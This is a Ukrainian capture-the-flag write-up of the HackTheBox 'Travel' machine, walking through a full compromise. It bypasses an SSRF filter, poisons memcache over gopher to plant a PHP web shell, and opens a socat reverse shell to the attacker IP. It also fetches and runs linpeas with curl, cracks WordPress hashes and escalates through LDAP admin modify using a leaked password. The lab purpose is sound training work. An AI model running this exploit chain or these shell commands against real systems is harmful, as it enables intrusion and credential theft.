На платформі HackTheBox був представлений кейс із взлому сервера Travel, що включає використання вразливостей SSRF (Server-Side Request Forgery) та RCE (Remote Code Execution). У статті розглядається детальний алгоритм дій, який допоможе кожному охочому зрозуміти, як правильно досліджувати подібні вразливості.
У статті розглядається, як за допомогою PHP memcache та SSRF отримати RCE, аналізуються дані в базі та демонструються потенційні ризики, пов’язані з адміністратором LDAP.
Підключення до лабораторії відбувається через VPN. Не рекомендується використовувати робочий комп’ютер або хост із важливими даними, оскільки підключення здійснюється до приватної мережі з іншими учасниками, які мають знання у сфері інформаційної безпеки.
Ця машина має IP адресу 10.10.10.189, яку я додаємо в /etc/hosts.
10.10.10.189 travel.htb
Насамперед виконується сканування відкритих портів. Щоб пришвидшити процес, замість повного сканування nmap використовується masscan. З його допомогою перевіряються всі TCP та UDP порти через інтерфейс tun0 зі швидкістю 500 пакетів на секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.189 --rate=500
Тепер для отримання більш детальної інформації про послуги, що працюють на портах, запустимо сканування з опцією -А.
nmap -A travel.htb -p22,80,443
Таким чином, нам доступні служба SSH та веб-сервер nginx. Зі скана видно, для яких DNS призначений сертифікат. Додамо їх у /etc/hosts.
10.10.10.189 www.travel.htb 10.10.10.189 blog.travel.htb 10.10.10.189 blog-dev.travel.htb
Давайте подивимося на ці сайти. На першому знаходимо опис майданчика.
На другому цікавіше. Відразу бачимо, що це CMS WordPress і знаходимо форму пошуку.
Після швидкої перевірки сайту за допомогою wpscan нічого корисного не виявлено. Дослідження продовжується, і третій сайт відповідає помилкою 403. Для подальшого аналізу виконується перебір директорій за допомогою gobuster. У параметрах задається кількість потоків 128 (-t), URL (-u), словник (-w) та необхідні розширення файлів (-x).
gobuster dir -t 128 -u blog-dev.travel.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html
Знаходимо. Ми можемо копіювати репозиторій.
Це завдання можна виконати різними інструментами, у даному випадку застосовується скрипт rip-git.
./rip-git.pl -v -u http://blog-dev.travel.htb/.git/
І в директорії поточної директорії ми побачимо отримані файли та .git репозиторій.
Використовуємо gitk для роботи з .git.
Є changelog, з якого відзначаємо наявність кешу та перевірок безпеки.
У файлі rss_template.php відзначаємо memcache, наявність параметра url та файл debug.
Параметр повинен містити рядок “custom_feed_url”. І швидше за цією адресою відбудеться запит.
RSS сторінка була на blog.travel.htb.
Запустимо локальний веб-сервер і звернемося до awesome-rss, передавши свій IP як параметр.
curl http://blog.travel.htb/awesome-rss/?custom_feed_url=10.10.14.120
І спостерігаємо, що припущення вірні. Якщо url відсутня, то буде обраний www.travel.htb/newsfeed/customfeed.xml .
У README сказано про переміщення цих файлів у wp-content/themes/twentytwenty (на це я звернув увагу під час пошуку файлу debug.php). І файл debug можемо знайти саме там.
Уся отримана інформація поки що виглядає цікавою, хоча й незрозумілою. Наступним кроком є об’єднання всіх знайдених фрагментів для створення цілісної картини.
Нам потрібно звернутися до сервера і отримати feed.xml файл.
Функція, яка приймає URL, використовує API SimplePie (для якого доступна детальна документація) та memcache. У результаті її виконання повертається об’єкт SimplePie.
Функція url_get_contents представлена у template.php. При цьому стоїть перевірка, яка не дає нам змоги звертатися до файлів на сервері. Але фільтр SSRF недостатньо коректний, оскільки звернутися до localhost ми можемо і за допомогою адрес 127.0.1.1, 127.1, 127.000.0.1 і т.п.
Далі відображається інформація з файлу feed.xml.
Також є клас TemplateHelper і функція init(), яка записує передані дані у вказаний файл.
Залишилося розібратися в який файл у директорії logs записуються серіалізовані дані. Звернемося до документації:
Таким чином, шлях інтерпретується як MD5(MD5(url)+”:spc”). Перевіримо це, а для цього завантажуємо файл xml із дефолтного url.
wget http://www.travel.htb/newsfeed/customfeed.xml -O feed.xml
Тепер звернемося до RSS сторінці, передавши в URL завантажений файл.
curl http://blog.travel.htb/awesome-rss/?custom_feed_url=http://10.10.14.120/feed.xml
І отримаємо серіалізовані дані.
curl http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php
За вказаною вище формулою розрахуємо інтерпретований шлях.
Перші 10 байт збігаються, що підтверджує правильність напряму дослідження. Виявляється потенційний вектор атаки — комбінація PHP memcached та SSRF. Подальший пошук у Google привів до відповідного скрипта, який може бути корисним для експлуатації цієї вразливості.
Тільки потрібно буде змінити код для нашого випадку. Створимо серіалізовані дані.
code = 'O:14:"TemplateHelper":2:{s:4:"file";s:8:"ralf.php";s:4:"data";s:31:"<?php system($_REQUEST["cmd"]);";}'
Таким чином, ми запишемо код <?php system($_REQUEST[«cmd»]]); файл ralf.php при десеріалізації. Найбільше цікавить ключ xct_key, який ми можемо розрахувати.
Тоді отримаємо наступний код створення навантаження.
encodedpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
return "gopher://127.00.0.1:11211/_" + encodedpayload
І проведемо десеріалізацію.
r = requests.get("http://blog.travel.htb/awesome-rss/?debug=yes&custom_feed_url="+payload)
r = requests.get("http://blog.travel.htb/awesome-rss/")
Повний код представлений нижче (як завжди картинкою).
Для створення нормального інтерактивного шелу, враховуючи проблеми з python pty, використовується бекконнект шелл за допомогою socat. На клієнті запускається листенер із командою:
socat file:`tty`,raw,echo=0 tcp-listen:4321
І підключимося з сервера:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.89:4321
Зазвичай у таких випадках слід перевірити користувача базу динних, при цьому використовується wordpress. Знайдемо файл wp-config.php.
З цими обліковими даними підключимося до mysql, наше завдання знайти таблицю wp_users.
mysql -h 127.0.0.1 -u wp -p
Переглянемо бази даних.
Давайте розглянемо базі wp.
І знаходимо шукану таблицю.
curl 10.10.14.89/tools/linpeas.sh > /tmp/linpeas.sh chmod +x /tmp/linpeas.sh ; /tmp/linpeas.sh
Нічого особливого, крім того, що ми в докер контейнері, не знаходимо.
Але цей скрипт не перевіряє директорію opt. А оскільки саме знаходимо бекап бази даних.
Якщо подивимося рядки в даному файлі, в кінці є запис про двох користувачів.
А ось другий, якраз і лається.
hashcat -a 0 -m 400 wp.hash tools/rockyou.txt
І зі знайденим паролем підключаємось по ssh.
Ще в робочій директорії користувача знаходимо два цікаві файли – це .ldaprc і .viminfo.
Погляньмо, що всередині. Таким чином, у першому файлі знаходимо ldap запис нашого користувача.
А в другому його ldap пароль.
Перевіримо його. Викликаємо ldapwhoami з опціями -x (проста автентифікація) та -w (пароль).
ldapwhoami -x -w Theroadlesstraveled
Бачимо запис із файлу .ldaprc. Давайте запитаємо інформацію.
ldapsearch -x -w Theroadlesstraveled
У результаті виконаного сканування отримано список користувачів, серед яких виявлено адміністратора LDAP. Це відкриває можливості для ескалації привілеїв: можна створити SSH-ключ для будь-якого користувача, змінити пароль або додати користувача до групи sudo (ідентифікатор групи — 27).
Створимо пару ключів.
Тепер складемо файл конфігурації.
Використовуємо їх для користувача frank.
ldapmodify -D "cn=lynik-admin,dc=travel,dc=htb" -w Theroadlesstraveled -f frank.ldif
І підключимося по SSH
ssh -i id_rsa frank@travel
Тепер, маючи необхідні привілеї, використовується команда sudo із власним паролем для виконання дій від імені адміністратора системи. Це дозволяє отримати повний контроль над ціллю.
У процесі дослідження вдалося виявити та експлуатувати низку уразливостей, таких як SSRF та PHP memcached, що призвело до виконання коду на сервері. Подальший аналіз дозволив ескалювати привілеї за допомогою помилок у налаштуванні LDAP. Завдяки цьому вдалося повністю скомпрометувати систему. Кейc підкреслює важливість належної валідації вхідних даних, правильного налаштування внутрішніх сервісів та регулярного аудиту безпеки.